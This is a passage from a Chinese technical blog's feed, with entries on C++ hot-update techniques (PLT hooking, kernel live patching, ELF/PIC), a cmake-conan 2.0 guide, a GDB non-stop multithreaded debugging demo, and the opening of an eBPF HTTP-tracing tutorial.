位用跳板，可在 movabs 前加 mov %rbp,%rsp; pop %rbp。&amp;gt; 📄 [图片文字版] 数据继承：进程虚拟内存分布——0xc0000000 内核空间（用户不可见）；用户栈（运行时创建，%esp 指示）；共享库映射（0x40000000）；运行时堆（brk）；读写段 .data&#x2F;.bss；只读段 .init&#x2F;.text&#x2F;.rodata（0x08048000 起）。堆上变量：类成员增删或改类型会越界&#x2F;值错乱（示例 Logic 类新增 m_uNewOne1、m_uNewOne2）；静态变量同样要处理（LOG_DEBUG 打印 m_uStatic）。&amp;gt; 📄 [图片文字版] 业界热更新方案：1) 共享内存，技术点为数据恢复（C++ 对象：指针、容器、多态虚表、全局数据、静态成员）；配图虚拟内存：内核态（页表&#x2F;task&amp;amp;mm、内核栈、内核代码数据）+用户态（用户栈、共享库映射、堆、.bss&#x2F;.data&#x2F;.text）。2) Lua 虚拟机，技术点为 C++ 对象与 lua 绑定、C++ 函数导出；时序 lua_newstate → lua_dofile → lua_parse → lua_pcall → luaV_execute。&amp;gt; 📄 [图片文字版] 业界方案（续）：3) 进程热替换，技术点：新进程 fork、Listen FD 迁移、读&#x2F;写数据迁移（参考《Sidecar 平滑升级方案探索》），时序图含 switch_sock、AcceptNewConnection 等连接迁移。4) 动态链接库，技术点：新老函数地址查找、So 注入、新老函数替换；示意 program(0x400000)&#x2F;libfoo.so(0x600000)&#x2F;libbar.so(0x800000) 的 PLT 条目，新库 hook_foo_func 替换 foo_func。&amp;gt; 📄 [图片文字版] 动态链接库业界方案：内核热补丁以 SUSE kGraft、Red Hat kpatch、Oracle Ksplice 为代表——补丁后函数开头改 call ftrace&#x2F;kpatch 检查点，命中转 New Function，可不重启修复内核缺陷。进程热补丁：新函数替换旧函数，Android 常用 plthook、android-inline-hook；修复后 func_v1 改为 jump func_v2→return。&amp;gt; 📄 [图片文字版] ELF 结构：Ehdr 含 e_ident（0x7f ELF）、e_type&#x2F;e_machine&#x2F;e_entry、e_phoff&#x2F;e_shoff、e_shnum、e_shstrndx；Shdr 含 sh_name&#x2F;sh_addr&#x2F;sh_offset&#x2F;sh_size 等。readelf -h libWorldHotfix.so：ELF64、DYN、X86-64、8 程序头、42 节头、节名表索引 41；readelf -l 可看 PHDR&#x2F;LOAD&#x2F;DYNAMIC 等 segment 映射。&amp;gt; 📄 [图片文字版] 地址无关代码 PIC：可在内存任意位置正确运行、不受加载位置影响。示例：program(0x400000) 经 PLT（bar_func 0x800300、foo_func 0x603400）相对寻址调用 libfoo.so(0x600000)&#x2F;libbar.so(0x800000)。要点：偏移量固定；GOT 运行期填充查真实地址；库 .data&#x2F;.text 多进程共享、.got 独享；外部符号加载时由动态链接器填 .got；lazy binding 走 .plt→.got.plt。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cmake-conan 2.0 接入指南</title>
        <published>2024-01-11T00:00:00+00:00</published>
        <updated>2024-01-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/cmake-conan-2.0-接入指南/"/>
        <id>https://vercel.juzhong.asia/obsidian/cmake-conan-2.0-接入指南/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/cmake-conan-2.0-接入指南/">&lt;h1 id=&quot;cmake-conan-2-0-jie-ru-zhi-nan&quot;&gt;cmake-conan 2.0 接入指南&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.conan.io&#x2F;2&#x2F;tutorial&#x2F;consuming_packages&#x2F;build_simple_cmake_project.html&quot;&gt;conan 教程&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;gcc&quot; class=&quot;language-gcc &quot;&gt;&lt;code class=&quot;language-gcc&quot; data-lang=&quot;gcc&quot;&gt;pip install conan

# 甚至可以不提供conanfile.txt文件，直接使用命令行完成包的安装
conan install zlib&amp;#x2F;1.2.11@conan&amp;#x2F;stable -g cmake -s build_type=Debug -o &amp;#x27;zlib&amp;#x2F;*:shared=True&amp;#x27; --build=missing
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;profile&quot;&gt;profile&lt;&#x2F;h2&gt;
&lt;p&gt;其实和&lt;code&gt;option&lt;&#x2F;code&gt;一样，&lt;code&gt;setting&lt;&#x2F;code&gt;既可以用命令行参数指定，也可以通过配置文件指定，只不过&lt;code&gt;setting&lt;&#x2F;code&gt;是写在&lt;code&gt;profile&lt;&#x2F;code&gt;而不是&lt;code&gt;conanfile.txt&lt;&#x2F;code&gt;中。conan安装完之后会有一个默认的profile：&lt;code&gt;$HOME&#x2F;.conan2&#x2F;profiles&#x2F;default&lt;&#x2F;code&gt;【3】。如果你想要系统默认都下载&lt;code&gt;Debug&lt;&#x2F;code&gt;包，你可以修改这个文件，把&lt;code&gt;build_type&lt;&#x2F;code&gt;改成&lt;code&gt;Debug&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;如果你不想影响全局，又不想频繁的输入命令行参数，你可以在&lt;code&gt;$HOME&#x2F;.conan2&#x2F;profiles&#x2F;&lt;&#x2F;code&gt;下新建一个profile，比如&lt;code&gt;debug&lt;&#x2F;code&gt;，然后使用下面命令安装依赖包：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;conan install . --profile=debug
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这种方式在对于简单的参数来说没有太大的意义，但是对于交叉编译的中特别有用，可以避免大量的参数的输入工作。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;li-jie-conande-bao-ming&quot;&gt;理解conan的包名&lt;&#x2F;h2&gt;
&lt;p&gt;在实际创建一个包之前，我们先来理解一下conan包的包名。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;zlib&amp;#x2F;1.2.11@conan&amp;#x2F;stable
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面这个包名包含四个部分：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;zlib 名字&lt;&#x2F;li&gt;
&lt;li&gt;1.2.11 版本&lt;&#x2F;li&gt;
&lt;li&gt;conan 用户&lt;&#x2F;li&gt;
&lt;li&gt;stable 通道（channel）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;虽然它们出现在同一个名字中，但它们不在同一个位置设置。前面两个通常写在配置文件中，而后面两个在命令行中指定。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bao-de-chuang-jian-bu-zou&quot;&gt;包的创建步骤&lt;&#x2F;h2&gt;
&lt;p&gt;创建一个包，实际上就是编译一个包的过程，只不过&lt;code&gt;conan&lt;&#x2F;code&gt;把这个过程脚本化来而已。所以在创建一个包之前，我们先整理一下编译一个包需要的步骤：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;重复下面这三个步骤，直到所有依赖编译完成，后然执行下面三个步骤编译自身&lt;&#x2F;li&gt;
&lt;li&gt;下载源码&lt;&#x2F;li&gt;
&lt;li&gt;编译&lt;&#x2F;li&gt;
&lt;li&gt;安装&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以创建一个&lt;code&gt;conan&lt;&#x2F;code&gt;包大概也就是把这几个步骤自动化而已，自动化这些操作的脚本叫做：&lt;code&gt;conanfile.py&lt;&#x2F;code&gt;，官方称之为&lt;code&gt;recipe&lt;&#x2F;code&gt;。&lt;code&gt;recipe&lt;&#x2F;code&gt;是菜谱的意思，这个词非常好的体现了&lt;code&gt;conanfile.py&lt;&#x2F;code&gt;的功能，引导&lt;code&gt;conan&lt;&#x2F;code&gt;一步一步的创建一个包。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conanfile-py&quot;&gt;conanfile.py&lt;&#x2F;h2&gt;
&lt;p&gt;一个 &lt;code&gt;conanfile.py&lt;&#x2F;code&gt; 通常的像下面这个样子：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;from conans import ConanFile, CMake, tools

class HelloConan(ConanFile):
    name = &amp;quot;Hello&amp;quot;
    version = &amp;quot;0.0.1&amp;quot;
    license = &amp;quot;MIT&amp;quot;
    url = &amp;quot;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;hello&amp;#x2F;hello.git&amp;quot;
    description = &amp;quot;Hello conan&amp;quot;
    settings = &amp;quot;os&amp;quot;, &amp;quot;compiler&amp;quot;, &amp;quot;build_type&amp;quot;, &amp;quot;arch&amp;quot;
    options = {&amp;quot;shared&amp;quot;: [True, False]}
    default_options = &amp;quot;shared=False&amp;quot;
    generators = &amp;quot;cmake&amp;quot;

    def source(self):
        self.run(&amp;quot;git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;hello&amp;#x2F;hello.git&amp;quot;)

    def build(self):
        cmake = CMake(self)
        cmake.configure(source_folder=&amp;quot;hello&amp;quot;)
        cmake.build()

    def package(self):
        self.copy(&amp;quot;*.h&amp;quot;, dst=&amp;quot;include&amp;quot;, src=&amp;quot;hello&amp;quot;)
        self.copy(&amp;quot;*hello.lib&amp;quot;, dst=&amp;quot;lib&amp;quot;, keep_path=False)
        self.copy(&amp;quot;*.dll&amp;quot;, dst=&amp;quot;bin&amp;quot;, keep_path=False)
        self.copy(&amp;quot;*.so&amp;quot;, dst=&amp;quot;lib&amp;quot;, keep_path=False)
        self.copy(&amp;quot;*.dylib&amp;quot;, dst=&amp;quot;lib&amp;quot;, keep_path=False)
        self.copy(&amp;quot;*.a&amp;quot;, dst=&amp;quot;lib&amp;quot;, keep_path=False)

    def package_info(self):
        self.cpp_info.libs = [&amp;quot;hello&amp;quot;]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;你可以使用下面的命令来创建这个脚本：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;conan new Hello&amp;#x2F;0.0.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;shou-dong-chuang-jian-bao-bi-mian-mei-ci-geng-xin-du-zhong-xin-bian-yi-zheng-bao&quot;&gt;手动创建包，避免每次更新都重新编译整包&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;conan create&lt;&#x2F;code&gt;这条命令的背后实际上执行了整个打包流程【5】，这条命令很方便，但是 会导致所有的包都重新编译一遍，而很多时候其实我们只是做了非常小的一个改动而已。 为了充分的利用编译缓存，我们可以手动的执行打包流程，也就是手动执行&lt;code&gt;conan create&lt;&#x2F;code&gt;背后的指令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;conan install . --install-folder=.&amp;#x2F;build
conan build . --source-folder=.&amp;#x2F; --build-folder=.&amp;#x2F;build
conan export-pkg . HelloConan&amp;#x2F;0.1.0@conan&amp;#x2F;testing --package-folder=.&amp;#x2F;build&amp;#x2F;package
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;conan create&lt;&#x2F;code&gt;实际上依次执行了&lt;code&gt;conan source&lt;&#x2F;code&gt;，&lt;code&gt;conan install&lt;&#x2F;code&gt;，&lt;code&gt;conan build&lt;&#x2F;code&gt;，&lt;code&gt;conan package&lt;&#x2F;code&gt;，&lt;code&gt;conan export-pkg&lt;&#x2F;code&gt;这几条命名。它之所以慢是因为每次都需要重新执行这些命令，如果我们手动创建包，我们可以有下面这些改进：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;不执行&lt;code&gt;source&lt;&#x2F;code&gt;，因为源码就在我们手上，可能就是当前这个目录&lt;&#x2F;li&gt;
&lt;li&gt;选择性执行&lt;code&gt;conan install&lt;&#x2F;code&gt;，依赖项实际上我们可以只安装一次，后续的编译不需要重复执行&lt;&#x2F;li&gt;
&lt;li&gt;指定同一个编译目录，这个是最见效的方式，我们可以把编译目录手动设置为固定的目录，这样可以充分的利用编译缓存来极大是缩短编译时间。&lt;&#x2F;li&gt;
&lt;li&gt;不执行&lt;code&gt;conan package&lt;&#x2F;code&gt;，因为&lt;code&gt;conan export-pkg&lt;&#x2F;code&gt;会执行&lt;code&gt;package()&lt;&#x2F;code&gt;函数，也就是&lt;code&gt;conan package&lt;&#x2F;code&gt;命令做的事情。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;需要注意的是，****&lt;code&gt;export-pkg&lt;&#x2F;code&gt;&lt;strong&gt;&lt;strong&gt;包含两种不同的执行模式，如果我们在&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;code&gt;build&lt;&#x2F;code&gt;&lt;strong&gt;&lt;strong&gt;这个步骤中使用了&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;code&gt;cmake.install()&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;创建了包，我们只需要指定&lt;&#x2F;strong&gt;**&lt;code&gt;package-folder&lt;&#x2F;code&gt;&lt;strong&gt;&lt;strong&gt;就可以了（这种情况通常我们不写&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;code&gt;package&lt;&#x2F;code&gt;&lt;strong&gt;&lt;strong&gt;函数），否则我们需要指定&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;code&gt;source-folder&lt;&#x2F;code&gt;&lt;strong&gt;&lt;strong&gt;和&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;code&gt;build-folder&lt;&#x2F;code&gt;** &lt;strong&gt;，以便执行&lt;&#x2F;strong&gt;**&lt;code&gt;package&lt;&#x2F;code&gt;**&lt;strong&gt;函数打包。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>多线程调试必杀技 - GDB的non-stop模式</title>
        <published>2024-01-11T00:00:00+00:00</published>
        <updated>2024-01-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/多线程调试必杀技-gdb的non-stop模式/"/>
        <id>https://vercel.juzhong.asia/obsidian/多线程调试必杀技-gdb的non-stop模式/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/多线程调试必杀技-gdb的non-stop模式/">&lt;h1 id=&quot;duo-xian-cheng-diao-shi-bi-sha-ji-gdbde-non-stopmo-shi&quot;&gt;多线程调试必杀技 - GDB的non-stop模式&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;duo-xian-cheng-diao-shi-zhi-tong&quot;&gt;多线程调试之痛&lt;&#x2F;h2&gt;
&lt;p&gt;调试器（如VS2008和老版GDB）往往只支持all-stop模式，调试多线程程序时，如果某个线程断在一个断点上，你的调试器会让整个程序freeze，直到你continue这个线程，程序中的其他线程才会继续运行。这个限制使得被调试的程序不能够像真实环境中那样运行--当某个线程断在一个断点上，让其他线程并行运行。&lt;&#x2F;p&gt;
&lt;p&gt;GDBv7.0引入的non-stop模式使得这个问题迎刃而解。在这个模式下，&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;当某个或多个线程断在一个断点上，其他线程仍会并行运行&lt;&#x2F;li&gt;
&lt;li&gt;你可以选择某个被断的线程，并让它继续运行&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;让我们想象一下，有了这个功能后&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;当其他线程断在断点上时，程序里的定时器线程可以正常的运行了，从而避免不必要得超时&lt;&#x2F;li&gt;
&lt;li&gt;当其他线程断在断点上时，程序里的watchdog线程可以正常的运行了，从而避免嵌入式硬件以为系统崩溃而重启&lt;&#x2F;li&gt;
&lt;li&gt;可以控制多个线程运行的顺序，从而重现deadlock场景了。由于GDB可以用python脚本驱动调试，理论上可以对程序在不同的线程运行顺序下进行自动化测试。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;因此，non-stop模式理所当然成为多线程调试“必杀技”。这2009年下半年之后发布的Linux版本里都带有GDBv7.0之后的版本。很好奇，不知道VS2010里是不是也支持类似的调试模式了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yan-shi-gdbde-non-stopmo-shi&quot;&gt;演示GDB的non-stop模式&lt;&#x2F;h2&gt;
&lt;p&gt;让破砂锅用一个C++小程序在Ubuntu Linux  09.10下demo这个必杀技。虽然我的demo使用命令行版gdb，如果你喜欢图形化的调试器，Eclipse2009年5月之后的版本可以轻松的调 用这个功能，详情参见Eclipse参见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;live.eclipse.org&#x2F;node&#x2F;723&quot;&gt;http:&#x2F;&#x2F;live.eclipse.org&#x2F;node&#x2F;723&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;编译以下程序nonstop&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;1&#x2F;&#x2F; gdb non-stop mode demo
2&#x2F;&#x2F; build instruction: g++ -g -o nonstop nonstop.cpp -lboost_thread
3
4#include &amp;lt;iostream&amp;gt;5#include &amp;lt;boost&#x2F;thread&#x2F;thread.hpp&amp;gt;
6
7struct op
8{
9        op(int id): m_id(id) {}
10
11        void operator()()
12        {
13                std::cout &amp;lt;&amp;lt; m_id &amp;lt;&amp;lt; &quot; begin&quot; &amp;lt;&amp;lt; std::endl;
14                std::cout &amp;lt;&amp;lt; m_id &amp;lt;&amp;lt; &quot; end&quot; &amp;lt;&amp;lt; std::endl;
15        }
16
17        int m_id;
18};
19
20int main(int argc, char ** argv)
21{
22        boost::thread t1(op(1)), t2(op(2)), t3(op(3));
23        t1.join(); t2.join(); t3.join();
24        return 0;
25}
26&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;把一下3行添加到~&#x2F;.gdbinit来打开non-stop模式&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;gcc&quot; class=&quot;language-gcc &quot;&gt;&lt;code class=&quot;language-gcc&quot; data-lang=&quot;gcc&quot;&gt;set target-async 1
set pagination off
set non-stop on
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;启动gdb,设断点,运行.可以看到主线程1是running,3个子线程都断在断点上,而不是只有一个子线程断在断点上.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;~&#x2F;devroot&#x2F;nonstop$ gdb .&#x2F;nonstop
GNU gdb (GDB) 7.0-ubuntu
Reading symbols from &#x2F;home&#x2F;frankwu&#x2F;devroot&#x2F;nonstop&#x2F;nonstop...done.
(gdb) break 14
Breakpoint 1 at 0x402058: file nonstop.cpp, line 14.
(gdb) break 24
Breakpoint 3 at 0x401805: file nonstop.cpp, line 24.
(gdb) run
Starting program: &#x2F;home&#x2F;frankwu&#x2F;devroot&#x2F;nonstop&#x2F;nonstop
[Thread debugging using libthread_db enabled]
[New Thread 0x7ffff6c89910 (LWP 2762)]
[New Thread 0x7ffff6488910 (LWP 2763)]
1 begin
Breakpoint 1, op::operator() (this=0x605118) at nonstop.cpp:14
14                  std::cout &amp;lt;&amp;lt; m_id &amp;lt;&amp;lt; &quot; end&quot; &amp;lt;&amp;lt; std::endl;
2 begin
Breakpoint 1, op::operator() (this=0x605388) at nonstop.cpp:14
14                  std::cout &amp;lt;&amp;lt; m_id &amp;lt;&amp;lt; &quot; end&quot; &amp;lt;&amp;lt; std::endl;
[New Thread 0x7ffff5c87910 (LWP 2764)]
3 begin
Breakpoint 1, op::operator() (this=0x605618) at nonstop.cpp:14
14                  std::cout &amp;lt;&amp;lt; m_id &amp;lt;&amp;lt; &quot; end&quot; &amp;lt;&amp;lt; std::endl;
(gdb) info threads
4 Thread 0x7ffff5c87910 (LWP 2764)  op::operator() (this=0x605618) at nonstop.cpp:14
3 Thread 0x7ffff6488910 (LWP 2763)  op::operator() (this=0x605388) at nonstop.cpp:14
2 Thread 0x7ffff6c89910 (LWP 2762)  op::operator() (this=0x605118) at nonstop.cpp:14
* 1 Thread 0x7ffff7fe3710 (LWP 2759)  (running)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;让线程3继续运行,注意我顾意把主线程1也continue,这是我发现的workaround,否则gdb不能切回thread 1.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;(gdb) thread apply 3 1 continueThread 3 (Thread 0x7ffff6488910 (LWP 2763)):
Continuing.Thread 1 (Thread 0x7ffff7fe3710 (LWP 2759)):
Continuing.
Cannot execute this command while the selected thread is running.
2 end
[Thread 0x7ffff6488910 (LWP 2763) exited]warning: Unknown thread 3.Thread 1 (Thread 0x7ffff7fe3710 (LWP 2759)):
Continuing.
Cannot execute this command while the selected thread is running.
(gdb) info threads
4 Thread 0x7ffff5c87910 (LWP 2764)  op::operator() (this=0x605618) at nonstop.cpp:14
2 Thread 0x7ffff6c89910 (LWP 2762)  op::operator() (this=0x605118) at nonstop.cpp:14
* 1 Thread 0x7ffff7fe3710 (LWP 2759)  (running)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;让另外两个线程继续运行而结束,主线程断在第24行,最后结束.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;(gdb) thread apply 4 2 1 continueThread 4 (Thread 0x7ffff5c87910 (LWP 2764)):
Continuing.Thread 2 (Thread 0x7ffff6c89910 (LWP 2762)):
Continuing.Thread 1 (Thread 0x7ffff7fe3710 (LWP 2759)):
Continuing.
Cannot execute this command while the selected thread is running.
3 end
1 end
[Thread 0x7ffff5c87910 (LWP 2764) exited]
[Thread 0x7ffff6c89910 (LWP 2762) exited]Breakpoint 3, main (argc=1, argv=0x7fffffffe348) at nonstop.cpp:24
24          return 0;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;(gdb) continue
Thread 1 (Thread 0x7ffff7fe3710 (LWP 2759)):
Continuing.Program exited normally.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;can-kao-zi-liao&quot;&gt;参考资料&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Debugging with GDB&quot; href=&quot;http:&#x2F;&#x2F;sourceware.org&#x2F;gdb&#x2F;download&#x2F;onlinedocs&#x2F;gdb&#x2F;Non_002dStop-Mode.html#Non_002dStop-Mode&quot;&gt;Debugging with GDB&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Reverse Debugging, Multi-Process and Non-Stop Debugging Come to the CDT&quot; href=&quot;http:&#x2F;&#x2F;live.eclipse.org&#x2F;node&#x2F;723&quot;&gt;Reverse Debugging, Multi-Process and Non-Stop Debugging Come to the CDT&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>通过 eBPF socket filter 或 syscall trace 追踪 HTTP 请求等七层协议</title>
        <published>2024-01-11T00:00:00+00:00</published>
        <updated>2024-01-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/通过-ebpf-socket-filter-或-syscall-trace-追踪-http-请求等七层协议/"/>
        <id>https://vercel.juzhong.asia/obsidian/通过-ebpf-socket-filter-或-syscall-trace-追踪-http-请求等七层协议/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/通过-ebpf-socket-filter-或-syscall-trace-追踪-http-请求等七层协议/">&lt;h1 id=&quot;tong-guo-ebpf-socket-filter-huo-syscall-trace-zhui-zong-http-qing-qiu-deng-qi-ceng-xie-yi&quot;&gt;通过 eBPF socket filter 或 syscall trace 追踪 HTTP 请求等七层协议&lt;&#x2F;h1&gt;
&lt;p&gt;原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;eunomia.dev&#x2F;zh&#x2F;tutorials&#x2F;23-http&#x2F;&quot;&gt;https:&#x2F;&#x2F;eunomia.dev&#x2F;zh&#x2F;tutorials&#x2F;23-http&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在当今的技术环境中，随着微服务、云原生应用和复杂的分布式系统的崛起，系统的可观测性已成为确保其健康、性能和安全的关键要素。特别是在微服务架构中，应用程序的组件可能分布在多个容器和服务器上，这使得传统的监控方法往往难以提供足够的深度和广度来全面了解系统的行为。这就是为什么观测七层协议，如 HTTP、gRPC、MQTT 等，变得尤为重要。&lt;&#x2F;p&gt;
&lt;p&gt;七层协议为我们提供了关于应用程序如何与其他服务和组件交互的详细信息。在微服务环境中，了解这些交互是至关重要的，因为它们经常是性能瓶颈、故障和安全问题的根源。然而，监控这些协议并不简单。传统的网络监控工具，如 tcpdump，虽然在捕获网络流量方面非常有效，但在处理七层协议的复杂性和动态性时，它们往往显得力不从心。&lt;&#x2F;p&gt;
&lt;p&gt;这正是 eBPF 技术发挥作用的地方。eBPF 允许开发者和运维人员深入到系统的内核层，实时观测和分析系统的行为，而无需对应用程序代码进行任何修改或插入埋点。这为我们提供了一个独特的机会，可以更简单、更高效地处理应用层流量，特别是在微服务环境中。&lt;&#x2F;p&gt;
&lt;p&gt;在本教程中，我们将深入探讨以下内容：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;追踪七层协议，如 HTTP，以及与其相关的挑战。&lt;&#x2F;li&gt;
&lt;li&gt;eBPF 的 socket filter 和 syscall 追踪：这两种技术如何帮助我们在不同的内核层次追踪 HTTP 网络请求数据，以及这两种方法的优势和局限性。&lt;&#x2F;li&gt;
&lt;li&gt;eBPF 实践教程：如何开发一个 eBPF 程序，使用 eBPF socket filter 或 syscall 追踪来捕获和分析 HTTP 流量&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;随着网络流量的增加和应用程序的复杂性增加，对七层协议的深入了解变得越来越重要。通过本教程，您将获得必要的知识和工具，以便更有效地监控和分析您的网络流量，从而为您的应用程序和服务器提供最佳的性能。&lt;&#x2F;p&gt;
&lt;p&gt;本文是 eBPF 开发者教程的一部分，更详细的内容可以在这里找到：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;eunomia.dev&#x2F;tutorials&#x2F;&quot;&gt;https:&#x2F;&#x2F;eunomia.dev&#x2F;tutorials&#x2F;&lt;&#x2F;a&gt; 源代码在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;eunomia-bpf&#x2F;bpf-developer-tutorial&quot;&gt;GitHub 仓库&lt;&#x2F;a&gt; 中开源。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhui-zong-http-http-2-deng-qi-ceng-xie-yi-de-tiao-zhan&quot;&gt;追踪 HTTP, HTTP&#x2F;2 等七层协议的挑战&lt;&#x2F;h2&gt;
&lt;p&gt;在现代的网络环境中，七层协议不仅仅局限于 HTTP。实际上，有许多七层协议，如 HTTP&#x2F;2, gRPC, MQTT, WebSocket, AMQP 和 SMTP，它们都在不同的应用场景中发挥着关键作用。这些协议为我们提供了关于应用程序如何与其他服务和组件交互的详细信息。但是，追踪这些协议并不是一个简单的任务，尤其是在复杂的分布式系统中。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;多样性和复杂性&lt;&#x2F;strong&gt;：每种七层协议都有其特定的设计和工作原理。例如，gRPC 使用了 HTTP&#x2F;2 作为其传输协议，并支持多种语言。而 MQTT 是为低带宽和不可靠的网络设计的轻量级发布&#x2F;订阅消息传输协议。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;动态性&lt;&#x2F;strong&gt;：许多七层协议都是动态的，这意味着它们的行为可能会根据网络条件、应用需求或其他因素而变化。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;加密和安全性&lt;&#x2F;strong&gt;：随着安全意识的增强，许多七层协议都采用了加密技术，如 TLS&#x2F;SSL。这为追踪和分析带来了额外的挑战，因为需要解密流量才能进行深入的分析。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;高性能需求&lt;&#x2F;strong&gt;：在高流量的生产环境中，捕获和分析七层协议的流量可能会对系统性能产生影响。传统的网络监控工具可能无法处理大量的并发会话。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;数据的完整性和连续性&lt;&#x2F;strong&gt;：与 tcpdump 这样的工具只捕获单独的数据包不同，追踪七层协议需要捕获完整的会话，这可能涉及多个数据包。这要求工具能够正确地重组和解析这些数据包，以提供连续的会话视图。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;代码侵入性&lt;&#x2F;strong&gt;：为了深入了解七层协议的行为，开发人员可能需要修改应用程序代码以添加监控功能。这不仅增加了开发和维护的复杂性，而且可能会影响应用程序的性能。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
